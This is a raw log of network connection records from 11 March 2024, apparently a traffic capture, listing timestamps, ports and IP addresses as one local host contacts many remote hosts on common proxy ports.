Mar 11, 2024 16:42:19.494162083 CET	50898	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.494203091 CET	8080	50721	51.68.220.201	192.168.2.11
Mar 11, 2024 16:42:19.496687889 CET	24543	50419	209.159.153.19	192.168.2.11
Mar 11, 2024 16:42:19.499134064 CET	80	50119	104.20.123.164	192.168.2.11
Mar 11, 2024 16:42:19.499372959 CET	50899	80	192.168.2.11	50.174.145.12
Mar 11, 2024 16:42:19.499742031 CET	80	50720	104.22.50.220	192.168.2.11
Mar 11, 2024 16:42:19.499783993 CET	80	50720	104.22.50.220	192.168.2.11
Mar 11, 2024 16:42:19.500128031 CET	50720	80	192.168.2.11	104.22.50.220
Mar 11, 2024 16:42:19.500529051 CET	80	50720	104.22.50.220	192.168.2.11
Mar 11, 2024 16:42:19.500637054 CET	50720	80	192.168.2.11	104.22.50.220
Mar 11, 2024 16:42:19.500972986 CET	50286	8080	192.168.2.11	4.236.183.37
Mar 11, 2024 16:42:19.500983953 CET	50240	8181	192.168.2.11	43.132.184.228
Mar 11, 2024 16:42:19.501002073 CET	50058	8080	192.168.2.11	74.62.179.122
Mar 11, 2024 16:42:19.501002073 CET	50054	10080	192.168.2.11	81.19.3.249
Mar 11, 2024 16:42:19.501002073 CET	49779	80	192.168.2.11	50.174.145.9
Mar 11, 2024 16:42:19.501002073 CET	49761	8123	192.168.2.11	20.24.43.214
Mar 11, 2024 16:42:19.501005888 CET	50074	8089	192.168.2.11	77.242.24.241
Mar 11, 2024 16:42:19.501018047 CET	50075	8080	192.168.2.11	122.52.196.36
Mar 11, 2024 16:42:19.501018047 CET	50079	60080	192.168.2.11	87.255.200.108
Mar 11, 2024 16:42:19.501019001 CET	50062	58275	192.168.2.11	162.214.191.209
Mar 11, 2024 16:42:19.501020908 CET	50061	2016	192.168.2.11	103.83.178.205
Mar 11, 2024 16:42:19.501040936 CET	50067	8080	192.168.2.11	201.170.180.188
Mar 11, 2024 16:42:19.501041889 CET	50071	8082	192.168.2.11	58.69.201.117
Mar 11, 2024 16:42:19.501055956 CET	50066	8080	192.168.2.11	94.186.234.236
Mar 11, 2024 16:42:19.501056910 CET	50077	8080	192.168.2.11	93.42.151.10
Mar 11, 2024 16:42:19.501060009 CET	4145	50147	184.170.249.65	192.168.2.11
Mar 11, 2024 16:42:19.501063108 CET	50078	1080	192.168.2.11	202.6.224.52
Mar 11, 2024 16:42:19.501065016 CET	50076	25485	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:19.501074076 CET	5005	49848	1.194.236.229	192.168.2.11
Mar 11, 2024 16:42:19.501117945 CET	18080	50711	152.32.130.117	192.168.2.11
Mar 11, 2024 16:42:19.501198053 CET	50711	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:19.501554966 CET	50711	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:19.502350092 CET	5430	50690	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:19.502413034 CET	50690	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:19.502612114 CET	50690	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:19.502729893 CET	18129	50826	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.503122091 CET	40351	49752	51.222.241.157	192.168.2.11
Mar 11, 2024 16:42:19.503331900 CET	46919	50757	51.15.16.96	192.168.2.11
Mar 11, 2024 16:42:19.503734112 CET	50900	8080	192.168.2.11	103.214.219.23
Mar 11, 2024 16:42:19.505068064 CET	4153	50633	190.2.110.7	192.168.2.11
Mar 11, 2024 16:42:19.505132914 CET	50633	4153	192.168.2.11	190.2.110.7
Mar 11, 2024 16:42:19.505356073 CET	8080	50835	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.505359888 CET	50633	4153	192.168.2.11	190.2.110.7
Mar 11, 2024 16:42:19.505417109 CET	50835	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.505533934 CET	4153	50681	170.81.108.46	192.168.2.11
Mar 11, 2024 16:42:19.505610943 CET	50681	4153	192.168.2.11	170.81.108.46
Mar 11, 2024 16:42:19.505780935 CET	50681	4153	192.168.2.11	170.81.108.46
Mar 11, 2024 16:42:19.505851030 CET	24543	50419	209.159.153.19	192.168.2.11
Mar 11, 2024 16:42:19.505876064 CET	50835	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.506074905 CET	80	50731	172.67.127.188	192.168.2.11
Mar 11, 2024 16:42:19.506167889 CET	80	50731	172.67.127.188	192.168.2.11
Mar 11, 2024 16:42:19.506341934 CET	80	50731	172.67.127.188	192.168.2.11
Mar 11, 2024 16:42:19.506453991 CET	50731	80	192.168.2.11	172.67.127.188
Mar 11, 2024 16:42:19.506475925 CET	50731	80	192.168.2.11	172.67.127.188
Mar 11, 2024 16:42:19.506643057 CET	24543	50419	209.159.153.19	192.168.2.11
Mar 11, 2024 16:42:19.506711960 CET	50419	24543	192.168.2.11	209.159.153.19
Mar 11, 2024 16:42:19.506762981 CET	34144	49871	51.75.126.150	192.168.2.11
Mar 11, 2024 16:42:19.506791115 CET	50419	24543	192.168.2.11	209.159.153.19
Mar 11, 2024 16:42:19.506810904 CET	49871	34144	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:19.507363081 CET	24279	50115	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:19.507467031 CET	30951	49753	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:19.507525921 CET	8080	50316	95.84.166.138	192.168.2.11
Mar 11, 2024 16:42:19.507802010 CET	80	50510	173.245.49.27	192.168.2.11
Mar 11, 2024 16:42:19.507817030 CET	3128	50773	134.209.29.120	192.168.2.11
Mar 11, 2024 16:42:19.507883072 CET	50773	3128	192.168.2.11	134.209.29.120
Mar 11, 2024 16:42:19.507949114 CET	8080	50316	95.84.166.138	192.168.2.11
Mar 11, 2024 16:42:19.508018970 CET	8080	50316	95.84.166.138	192.168.2.11
Mar 11, 2024 16:42:19.508085012 CET	50316	8080	192.168.2.11	95.84.166.138
Mar 11, 2024 16:42:19.508125067 CET	50316	8080	192.168.2.11	95.84.166.138
Mar 11, 2024 16:42:19.508291960 CET	80	50740	172.67.182.107	192.168.2.11
Mar 11, 2024 16:42:19.508346081 CET	50773	3128	192.168.2.11	134.209.29.120
Mar 11, 2024 16:42:19.508397102 CET	80	50740	172.67.182.107	192.168.2.11
Mar 11, 2024 16:42:19.508582115 CET	50740	80	192.168.2.11	172.67.182.107
Mar 11, 2024 16:42:19.508678913 CET	64523	50738	46.105.44.29	192.168.2.11
Mar 11, 2024 16:42:19.508938074 CET	80	50740	172.67.182.107	192.168.2.11
Mar 11, 2024 16:42:19.508980989 CET	50740	80	192.168.2.11	172.67.182.107
Mar 11, 2024 16:42:19.509983063 CET	8888	50723	35.199.90.225	192.168.2.11
Mar 11, 2024 16:42:19.510091066 CET	50723	8888	192.168.2.11	35.199.90.225
Mar 11, 2024 16:42:19.510283947 CET	50723	8888	192.168.2.11	35.199.90.225
Mar 11, 2024 16:42:19.511007071 CET	4145	49808	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:19.511086941 CET	1080	50679	195.98.93.234	192.168.2.11
Mar 11, 2024 16:42:19.511147022 CET	4145	49808	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:19.512200117 CET	50901	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:19.513319016 CET	80	50190	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.513789892 CET	80	50190	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.514329910 CET	80	50784	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:19.514461040 CET	50784	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:19.514838934 CET	50784	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:19.515582085 CET	8080	50377	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:19.515644073 CET	50377	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.515724897 CET	50377	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.516352892 CET	50902	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.516534090 CET	80	49775	50.239.72.18	192.168.2.11
Mar 11, 2024 16:42:19.516628981 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:19.516645908 CET	50072	42539	192.168.2.11	86.110.189.118
Mar 11, 2024 16:42:19.516652107 CET	50083	44523	192.168.2.11	192.99.207.129
Mar 11, 2024 16:42:19.516652107 CET	50361	8080	192.168.2.11	5.78.89.192
Mar 11, 2024 16:42:19.516654015 CET	50082	5678	192.168.2.11	197.211.244.135
Mar 11, 2024 16:42:19.516660929 CET	50086	56350	192.168.2.11	148.66.130.53
Mar 11, 2024 16:42:19.516661882 CET	49827	9039	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:19.516661882 CET	50069	8123	192.168.2.11	119.81.71.27
Mar 11, 2024 16:42:19.516661882 CET	50084	80	192.168.2.11	5.189.184.6
Mar 11, 2024 16:42:19.516669989 CET	50174	3129	192.168.2.11	20.204.214.79
Mar 11, 2024 16:42:19.516669989 CET	49712	4145	192.168.2.11	152.32.78.24
Mar 11, 2024 16:42:19.516673088 CET	50088	80	192.168.2.11	146.70.80.76
Mar 11, 2024 16:42:19.516689062 CET	50092	80	192.168.2.11	190.128.241.102
Mar 11, 2024 16:42:19.516695976 CET	50094	5678	192.168.2.11	203.160.57.87
Mar 11, 2024 16:42:19.516695976 CET	50087	8080	192.168.2.11	103.81.115.210
Mar 11, 2024 16:42:19.516695976 CET	50097	53340	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:19.516700029 CET	50089	999	192.168.2.11	186.24.9.114
Mar 11, 2024 16:42:19.516700983 CET	50096	16379	192.168.2.11	51.158.108.134
Mar 11, 2024 16:42:19.518233061 CET	80	50766	50.170.90.34	192.168.2.11
Mar 11, 2024 16:42:19.518443108 CET	3128	50499	159.203.61.169	192.168.2.11
Mar 11, 2024 16:42:19.518567085 CET	8080	50377	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:19.521483898 CET	41274	50167	162.241.158.204	192.168.2.11
Mar 11, 2024 16:42:19.521967888 CET	8080	49890	103.147.247.79	192.168.2.11
Mar 11, 2024 16:42:19.522002935 CET	4145	50221	199.102.106.94	192.168.2.11
Mar 11, 2024 16:42:19.522028923 CET	49890	8080	192.168.2.11	103.147.247.79
Mar 11, 2024 16:42:19.522232056 CET	49890	8080	192.168.2.11	103.147.247.79
Mar 11, 2024 16:42:19.522898912 CET	10363	50124	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.522942066 CET	1431	50121	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.523750067 CET	50903	80	192.168.2.11	106.14.255.124
Mar 11, 2024 16:42:19.524548054 CET	50904	48678	192.168.2.11	180.131.242.221
Mar 11, 2024 16:42:19.526676893 CET	5432	50396	45.196.151.84	192.168.2.11
Mar 11, 2024 16:42:19.527004957 CET	80	50846	104.16.241.204	192.168.2.11
Mar 11, 2024 16:42:19.527121067 CET	50846	80	192.168.2.11	104.16.241.204
Mar 11, 2024 16:42:19.527403116 CET	50846	80	192.168.2.11	104.16.241.204
Mar 11, 2024 16:42:19.527482033 CET	80	50563	31.43.179.160	192.168.2.11
Mar 11, 2024 16:42:19.528244972 CET	8083	50712	103.84.177.27	192.168.2.11
Mar 11, 2024 16:42:19.528378010 CET	50712	8083	192.168.2.11	103.84.177.27
Mar 11, 2024 16:42:19.528798103 CET	50712	8083	192.168.2.11	103.84.177.27
Mar 11, 2024 16:42:19.531661987 CET	80	50790	104.27.26.29	192.168.2.11
Mar 11, 2024 16:42:19.531759024 CET	80	50790	104.27.26.29	192.168.2.11
Mar 11, 2024 16:42:19.531977892 CET	50905	5432	192.168.2.11	45.196.148.67
Mar 11, 2024 16:42:19.532093048 CET	80	50790	104.27.26.29	192.168.2.11
Mar 11, 2024 16:42:19.532140017 CET	50790	80	192.168.2.11	104.27.26.29
Mar 11, 2024 16:42:19.532244921 CET	49762	5678	192.168.2.11	178.212.51.79
Mar 11, 2024 16:42:19.532254934 CET	50274	24815	192.168.2.11	95.217.104.21
Mar 11, 2024 16:42:19.532264948 CET	50196	8080	192.168.2.11	46.209.54.102
Mar 11, 2024 16:42:19.532267094 CET	50257	8000	192.168.2.11	128.199.252.41
Mar 11, 2024 16:42:19.532288074 CET	50093	1088	192.168.2.11	117.202.20.69
Mar 11, 2024 16:42:19.532288074 CET	50106	8080	192.168.2.11	183.179.187.16
Mar 11, 2024 16:42:19.532291889 CET	50100	3500	192.168.2.11	23.225.72.122
Mar 11, 2024 16:42:19.532295942 CET	50109	6022	192.168.2.11	186.215.87.194
Mar 11, 2024 16:42:19.532295942 CET	50110	9999	192.168.2.11	115.221.242.131
Mar 11, 2024 16:42:19.532296896 CET	50369	60200	192.168.2.11	162.241.137.197
Mar 11, 2024 16:42:19.532295942 CET	50099	40080	192.168.2.11	67.213.212.50
Mar 11, 2024 16:42:19.532298088 CET	49834	80	192.168.2.11	50.172.218.160
Mar 11, 2024 16:42:19.532428980 CET	50790	80	192.168.2.11	104.27.26.29
Mar 11, 2024 16:42:19.533795118 CET	50906	16795	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:19.534895897 CET	80	50794	172.67.181.12	192.168.2.11
Mar 11, 2024 16:42:19.534945011 CET	80	50794	172.67.181.12	192.168.2.11
Mar 11, 2024 16:42:19.535152912 CET	50794	80	192.168.2.11	172.67.181.12
Mar 11, 2024 16:42:19.535475969 CET	80	50794	172.67.181.12	192.168.2.11
Mar 11, 2024 16:42:19.535579920 CET	50794	80	192.168.2.11	172.67.181.12
Mar 11, 2024 16:42:19.539076090 CET	80	50800	104.27.37.131	192.168.2.11
Mar 11, 2024 16:42:19.539099932 CET	80	50800	104.27.37.131	192.168.2.11
Mar 11, 2024 16:42:19.539241076 CET	80	50587	104.25.87.42	192.168.2.11
Mar 11, 2024 16:42:19.539537907 CET	50800	80	192.168.2.11	104.27.37.131
Mar 11, 2024 16:42:19.539921045 CET	50907	999	192.168.2.11	179.43.94.238
Mar 11, 2024 16:42:19.539957047 CET	80	50584	185.238.228.202	192.168.2.11
Mar 11, 2024 16:42:19.540003061 CET	80	50588	104.21.223.181	192.168.2.11
Mar 11, 2024 16:42:19.540081024 CET	80	50800	104.27.37.131	192.168.2.11
Mar 11, 2024 16:42:19.540153980 CET	50800	80	192.168.2.11	104.27.37.131
Mar 11, 2024 16:42:19.540430069 CET	50908	999	192.168.2.11	45.191.75.186
Mar 11, 2024 16:42:19.542404890 CET	3128	50569	3.212.148.199	192.168.2.11
Mar 11, 2024 16:42:19.543724060 CET	1080	50365	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:19.543804884 CET	50365	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.543903112 CET	50365	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.544348955 CET	3128	50569	3.212.148.199	192.168.2.11
Mar 11, 2024 16:42:19.544495106 CET	1080	50365	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:19.544785023 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:19.544909954 CET	80	50806	89.31.143.12	192.168.2.11
Mar 11, 2024 16:42:19.544924021 CET	59623	50778	62.182.114.164	192.168.2.11
Mar 11, 2024 16:42:19.544969082 CET	50806	80	192.168.2.11	89.31.143.12
Mar 11, 2024 16:42:19.545418978 CET	50806	80	192.168.2.11	89.31.143.12
Mar 11, 2024 16:42:19.545674086 CET	50910	6969	192.168.2.11	95.217.222.213
Mar 11, 2024 16:42:19.546832085 CET	50911	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.547863007 CET	50280	8000	192.168.2.11	167.172.79.17
Mar 11, 2024 16:42:19.547863007 CET	50102	40975	192.168.2.11	146.59.18.246
Mar 11, 2024 16:42:19.547883987 CET	50103	8899	192.168.2.11	66.228.140.209
Mar 11, 2024 16:42:19.547883987 CET	50105	8080	192.168.2.11	159.112.141.44
Mar 11, 2024 16:42:19.547888041 CET	50107	54924	192.168.2.11	67.213.210.118
Mar 11, 2024 16:42:19.547905922 CET	50111	3629	192.168.2.11	81.12.104.43
Mar 11, 2024 16:42:19.547907114 CET	50112	8080	192.168.2.11	156.232.9.194
Mar 11, 2024 16:42:19.547950983 CET	49897	45248	192.168.2.11	166.62.121.127
Mar 11, 2024 16:42:19.547979116 CET	4145	50781	168.205.217.37	192.168.2.11
Mar 11, 2024 16:42:19.548002958 CET	50116	8080	192.168.2.11	138.0.143.128
Mar 11, 2024 16:42:19.548055887 CET	50113	3128	192.168.2.11	62.171.133.66
Mar 11, 2024 16:42:19.548057079 CET	50781	4145	192.168.2.11	168.205.217.37
Mar 11, 2024 16:42:19.548469067 CET	4145	50557	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.548568010 CET	50781	4145	192.168.2.11	168.205.217.37
Mar 11, 2024 16:42:19.548568010 CET	50557	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.548621893 CET	50557	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.548657894 CET	80	49931	45.139.11.200	192.168.2.11
Mar 11, 2024 16:42:19.549402952 CET	50914	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.549927950 CET	21777	50158	51.222.84.118	192.168.2.11
Mar 11, 2024 16:42:19.552022934 CET	64579	50724	162.214.121.173	192.168.2.11
Mar 11, 2024 16:42:19.552501917 CET	59268	50155	67.213.212.50	192.168.2.11
Mar 11, 2024 16:42:19.552970886 CET	50915	80	192.168.2.11	50.217.226.42
Mar 11, 2024 16:42:19.553222895 CET	50916	34599	192.168.2.11	183.88.231.188
Mar 11, 2024 16:42:19.553375959 CET	50917	8080	192.168.2.11	185.169.183.200
Mar 11, 2024 16:42:19.553751945 CET	4145	50557	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.553941011 CET	50918	33383	192.168.2.11	128.199.221.91
Mar 11, 2024 16:42:19.554111004 CET	4495	49768	67.43.228.252	192.168.2.11
Mar 11, 2024 16:42:19.554142952 CET	80	50609	104.16.109.207	192.168.2.11
Mar 11, 2024 16:42:19.555737019 CET	50919	16844	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:19.556508064 CET	50920	999	192.168.2.11	138.121.15.229
Mar 11, 2024 16:42:19.558538914 CET	50921	3128	192.168.2.11	178.128.172.154
Mar 11, 2024 16:42:19.558794022 CET	4145	50828	72.210.221.197	192.168.2.11
Mar 11, 2024 16:42:19.558924913 CET	50828	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:19.559508085 CET	50828	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:19.559737921 CET	80	50440	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:19.559931993 CET	50440	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:19.560184956 CET	50922	80	192.168.2.11	209.126.6.159
Mar 11, 2024 16:42:19.560420990 CET	50923	33192	192.168.2.11	217.21.148.50
Mar 11, 2024 16:42:19.561064959 CET	80	50440	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:19.561103106 CET	50440	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:19.562515020 CET	50924	14462	192.168.2.11	185.129.250.183
Mar 11, 2024 16:42:19.563489914 CET	50187	49775	192.168.2.11	138.201.21.232
Mar 11, 2024 16:42:19.563519001 CET	50123	8000	192.168.2.11	103.182.112.11
Mar 11, 2024 16:42:19.563523054 CET	50120	999	192.168.2.11	181.78.74.78
Mar 11, 2024 16:42:19.563523054 CET	50122	8080	192.168.2.11	185.200.38.117
Mar 11, 2024 16:42:19.563524961 CET	50308	3128	192.168.2.11	194.145.209.187
Mar 11, 2024 16:42:19.563524961 CET	50117	3128	192.168.2.11	155.50.213.149
Mar 11, 2024 16:42:19.563524961 CET	50118	50062	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:19.563541889 CET	50135	10705	192.168.2.11	47.113.179.6
Mar 11, 2024 16:42:19.563544035 CET	50136	1080	192.168.2.11	64.124.145.1
Mar 11, 2024 16:42:19.563584089 CET	50134	999	192.168.2.11	177.234.194.226
Mar 11, 2024 16:42:19.563585043 CET	50133	1080	192.168.2.11	171.248.209.6
Mar 11, 2024 16:42:19.563585997 CET	50130	26552	192.168.2.11	161.97.173.78
Mar 11, 2024 16:42:19.563633919 CET	50139	8080	192.168.2.11	103.153.40.38
Mar 11, 2024 16:42:19.563637972 CET	50141	3128	192.168.2.11	194.186.35.70
Mar 11, 2024 16:42:19.564073086 CET	50925	29796	192.168.2.11	54.36.122.16
Mar 11, 2024 16:42:19.565220118 CET	50926	64309	192.168.2.11	173.212.209.49
Mar 11, 2024 16:42:19.566087961 CET	4145	50502	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:19.566101074 CET	4145	50502	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:19.566940069 CET	9090	50760	91.241.217.58	192.168.2.11
Mar 11, 2024 16:42:19.567080021 CET	50760	9090	192.168.2.11	91.241.217.58
Mar 11, 2024 16:42:19.567298889 CET	50927	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:19.567544937 CET	50760	9090	192.168.2.11	91.241.217.58
Mar 11, 2024 16:42:19.567569971 CET	38817	50808	77.48.23.181	192.168.2.11
Mar 11, 2024 16:42:19.568150043 CET	50928	22645	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:19.568543911 CET	8081	50761	178.141.249.246	192.168.2.11
Mar 11, 2024 16:42:19.568986893 CET	50929	57144	192.168.2.11	49.12.126.53
Mar 11, 2024 16:42:19.570065975 CET	13477	50175	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.570352077 CET	50930	5020	192.168.2.11	202.164.209.69
Mar 11, 2024 16:42:19.571424007 CET	50931	8080	192.168.2.11	103.76.148.161
Mar 11, 2024 16:42:19.574140072 CET	30000	50200	161.97.74.176	192.168.2.11
Mar 11, 2024 16:42:19.574835062 CET	8080	49978	92.118.132.125	192.168.2.11
Mar 11, 2024 16:42:19.574982882 CET	4145	50869	184.178.172.3	192.168.2.11
Mar 11, 2024 16:42:19.575176001 CET	50869	4145	192.168.2.11	184.178.172.3
Mar 11, 2024 16:42:19.576070070 CET	7302	50216	124.163.236.54	192.168.2.11
Mar 11, 2024 16:42:19.576802969 CET	50932	999	192.168.2.11	198.52.241.13
Mar 11, 2024 16:42:19.576802969 CET	7302	50216	124.163.236.54	192.168.2.11
Mar 11, 2024 16:42:19.576972008 CET	50933	4153	192.168.2.11	82.147.153.6
Mar 11, 2024 16:42:19.576973915 CET	7302	50216	124.163.236.54	192.168.2.11
Mar 11, 2024 16:42:19.576997995 CET	7302	50216	124.163.236.54	192.168.2.11
Mar 11, 2024 16:42:19.577039003 CET	50216	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:19.577374935 CET	50216	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:19.577775955 CET	50934	12542	192.168.2.11	37.53.90.82
Mar 11, 2024 16:42:19.577990055 CET	80	50480	3.127.62.252	192.168.2.11
Mar 11, 2024 16:42:19.578531981 CET	80	49797	50.239.72.19	192.168.2.11
Mar 11, 2024 16:42:19.579140902 CET	50148	8080	192.168.2.11	188.132.222.40
Mar 11, 2024 16:42:19.579140902 CET	50137	5678	192.168.2.11	169.255.198.8
Mar 11, 2024 16:42:19.579142094 CET	50386	19599	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:19.579148054 CET	50313	3128	192.168.2.11	46.101.102.134
Mar 11, 2024 16:42:19.579147100 CET	50127	55507	192.168.2.11	5.58.33.187
Mar 11, 2024 16:42:19.579147100 CET	50143	63614	192.168.2.11	173.212.237.43
Mar 11, 2024 16:42:19.579168081 CET	50152	3128	192.168.2.11	146.190.51.181
Mar 11, 2024 16:42:19.579169035 CET	50144	9898	192.168.2.11	213.165.168.190
Mar 11, 2024 16:42:19.579169035 CET	50153	7183	192.168.2.11	132.148.245.247
Mar 11, 2024 16:42:19.579175949 CET	49784	8080	192.168.2.11	42.200.196.208
Mar 11, 2024 16:42:19.579200029 CET	50154	3128	192.168.2.11	80.251.219.40
Mar 11, 2024 16:42:19.579260111 CET	1080	49951	103.234.27.153	192.168.2.11
Mar 11, 2024 16:42:19.579576015 CET	80	50480	3.127.62.252	192.168.2.11
Mar 11, 2024 16:42:19.580063105 CET	80	50655	104.16.108.42	192.168.2.11
Mar 11, 2024 16:42:19.580094099 CET	50480	80	192.168.2.11	3.127.62.252
Mar 11, 2024 16:42:19.581964970 CET	8888	50410	120.79.101.0	192.168.2.11
Mar 11, 2024 16:42:19.582200050 CET	50410	8888	192.168.2.11	120.79.101.0
Mar 11, 2024 16:42:19.583287001 CET	8888	50410	120.79.101.0	192.168.2.11
Mar 11, 2024 16:42:19.583340883 CET	50935	80	192.168.2.11	47.93.121.200
Mar 11, 2024 16:42:19.583343029 CET	50410	8888	192.168.2.11	120.79.101.0
Mar 11, 2024 16:42:19.583452940 CET	50936	64384	192.168.2.11	195.154.43.221
Mar 11, 2024 16:42:19.584255934 CET	50937	999	192.168.2.11	200.24.130.138
Mar 11, 2024 16:42:19.585484982 CET	28971	49777	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:19.585988998 CET	80	50747	65.1.244.232	192.168.2.11
Mar 11, 2024 16:42:19.586070061 CET	50747	80	192.168.2.11	65.1.244.232
Mar 11, 2024 16:42:19.586256981 CET	4145	50805	185.169.181.25	192.168.2.11
Mar 11, 2024 16:42:19.586338043 CET	50747	80	192.168.2.11	65.1.244.232
Mar 11, 2024 16:42:19.588892937 CET	50938	26777	192.168.2.11	185.129.250.183
Mar 11, 2024 16:42:19.589386940 CET	50939	8080	192.168.2.11	103.125.240.237
Mar 11, 2024 16:42:19.589658022 CET	50940	8080	192.168.2.11	47.88.3.19
Mar 11, 2024 16:42:19.591869116 CET	50216	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:19.592437029 CET	50941	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:19.593173981 CET	50942	30770	192.168.2.11	108.181.132.116
Mar 11, 2024 16:42:19.594758987 CET	49733	3129	192.168.2.11	20.219.180.149
Mar 11, 2024 16:42:19.594764948 CET	50145	27234	192.168.2.11	179.125.51.54
Mar 11, 2024 16:42:19.594765902 CET	50157	8080	192.168.2.11	103.230.49.132
Mar 11, 2024 16:42:19.594765902 CET	50151	34411	192.168.2.11	212.110.188.222
Mar 11, 2024 16:42:19.594769955 CET	50162	999	192.168.2.11	177.234.194.158
Mar 11, 2024 16:42:19.594801903 CET	50168	47036	192.168.2.11	83.151.4.172
Mar 11, 2024 16:42:19.594801903 CET	50169	3128	192.168.2.11	165.232.89.116
Mar 11, 2024 16:42:19.594801903 CET	50171	9090	192.168.2.11	189.240.60.163
Mar 11, 2024 16:42:19.594847918 CET	50165	3256	192.168.2.11	106.45.221.168
Mar 11, 2024 16:42:19.594847918 CET	50161	3128	192.168.2.11	193.56.255.179
Mar 11, 2024 16:42:19.597004890 CET	50943	80	192.168.2.11	39.108.227.108
Mar 11, 2024 16:42:19.597855091 CET	50944	3230	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.597930908 CET	31247	50347	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:19.597969055 CET	31247	50347	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:19.597985983 CET	50347	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.598119020 CET	50347	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.598716974 CET	50945	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.599174023 CET	26693	50847	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.600096941 CET	999	50138	45.229.34.174	192.168.2.11
Mar 11, 2024 16:42:19.600097895 CET	50946	32930	192.168.2.11	213.136.79.177
Mar 11, 2024 16:42:19.600110054 CET	50605	49782	51.81.89.146	192.168.2.11
Mar 11, 2024 16:42:19.600389004 CET	1080	50699	103.140.205.133	192.168.2.11
Mar 11, 2024 16:42:19.602682114 CET	50947	80	192.168.2.11	162.159.241.5
Mar 11, 2024 16:42:19.604825974 CET	4145	50862	199.58.185.9	192.168.2.11
Mar 11, 2024 16:42:19.605003119 CET	15303	50620	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:19.605093956 CET	15303	50620	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:19.605194092 CET	4145	50817	103.210.35.40	192.168.2.11
Mar 11, 2024 16:42:19.605233908 CET	31679	49849	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:19.605247021 CET	31679	49849	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:19.606220961 CET	50948	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:19.606712103 CET	50949	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:19.610348940 CET	50176	80	192.168.2.11	223.19.111.185
Mar 11, 2024 16:42:19.610394001 CET	50288	5555	192.168.2.11	14.225.254.128
Mar 11, 2024 16:42:19.610404968 CET	50163	8080	192.168.2.11	103.148.130.5
Mar 11, 2024 16:42:19.610404968 CET	50185	8080	192.168.2.11	183.89.9.82
Mar 11, 2024 16:42:19.610408068 CET	50334	64654	192.168.2.11	162.19.7.53
Mar 11, 2024 16:42:19.610408068 CET	50182	42072	192.168.2.11	208.109.14.49
Mar 11, 2024 16:42:19.610409021 CET	50164	57364	192.168.2.11	162.241.53.72
Mar 11, 2024 16:42:19.610409021 CET	50220	80	192.168.2.11	195.23.57.78
